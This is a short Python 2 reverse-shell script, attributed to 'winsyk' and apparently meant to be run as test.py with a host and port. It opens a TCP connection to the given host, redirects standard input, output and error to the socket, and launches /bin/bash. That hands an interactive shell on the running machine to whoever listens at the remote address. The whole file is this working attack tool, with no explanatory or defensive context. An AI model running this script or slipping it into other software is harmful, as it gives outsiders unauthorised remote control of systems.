#!/usr/bin/env python
#-*- coding:utf-8 -*-
# code by winsyk

import os,sys,socket

def main():
        if len(sys.argv) < 2:
            print 'Usage: python test.py host 80'
            sys.exit()
        #socket.setdefaulttimeout(3)
        ip =  sys.argv[1]
        port = int(sys.argv[2])
        ADDR = (ip,port)
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        try:
            s.connect((ADDR))
            print '[+] Connect Sucefully (%s:%s)' %(ADDR)
        except:
            print '[+] Sucesfully False(%s:%s)' %(ADDR)
            sys.exit()
        s.send('   [+]wait revese shell Command Loading....')
        os.dup2(s.fileno(), sys.stderr.fileno())
        os.dup2(s.fileno(), sys.stdin.fileno())
        os.dup2(s.fileno(), sys.stdout.fileno())
        os.system("/bin/bash")

if __name__ == '__main__':
    main()
